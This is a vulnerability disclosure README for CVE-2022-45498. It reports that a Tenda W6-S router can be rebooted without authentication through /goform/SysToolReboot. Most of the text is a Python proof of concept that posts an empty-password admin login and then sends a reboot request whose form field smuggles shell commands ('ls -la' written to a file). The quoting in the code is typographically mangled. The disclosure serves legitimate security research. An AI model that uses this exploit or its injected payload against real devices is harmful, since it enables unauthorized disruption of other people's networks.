CVE-2022-45498: IOT_Vul/readme.md at main · z1r00/IOT_Vul

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Tenda W6-S V1.0.0.4(510) Reboot router without authentication****Firmware information

• Manufacturer’s address：https://www.tenda.com.cn/

• Firmware download address ： https://www.tenda.com.cn/download/detail-2627.html

Affected version

Vulnerability details

In /goform/SysToolReboot, tpi_systool_handle(0) will cause the entire router to reboot without authorization

Poc

import requests

target_url = ‘http://192.168.10.105/login/Auth’

target_headers = {’Host’ : '192.168.10.105’, ‘Content-Length’ : '65’, ‘Accept’ : '*/*’, ‘X-Requested-With’ : 'XMLHttpRequest’, ‘User-Agent’ : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36’, ‘Content-Type’ : 'application/x-www-form-urlencoded; charset=UTF-8’, ‘Origin’ : 'http://192.168.10.105’, ‘Referer’ : 'http://192.168.10.105/main.html’, ‘Accept-Encoding’ : 'gzip, deflate’, ‘Accept-Language’ : 'en-US,en;q=0.9’, ‘Cookie’ : 'user=’, ‘Connection’ : 'close’} p1 = ‘usertype=admin&password=&time=2022;7;6;14;9;6&username=’

requests.post(target_url, headers = target_headers, data = p1, verify = False, timeout = 1)

target_url = ‘http://192.168.10.105/goform/SysToolReboot’

target_headers = {’Host’ : '192.168.10.105’, ‘Content-Length’ : '295’, ‘Accept’ : '*/*’, ‘X-Requested-With’ : 'XMLHttpRequest’, ‘User-Agent’ : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36’, ‘Content-Type’ : 'application/x-www-form-urlencoded; charset=UTF-8’, ‘Origin’ : 'http://192.168.10.105’, ‘Referer’ : 'http://192.168.10.105/main.html’, ‘Accept-Encoding’ : 'gzip, deflate’, ‘Accept-Language’ : 'en-US,en;q=0.9’, ‘Cookie’ : 'user=’, ‘Connection’ : 'close’}

p2 = ‘cmdinput=asd;ls -la . > ./tmp/test;aa’

requests.post(target_url, headers = target_headers, data = p2, verify = False, timeout = 1)

You can see that the router restarts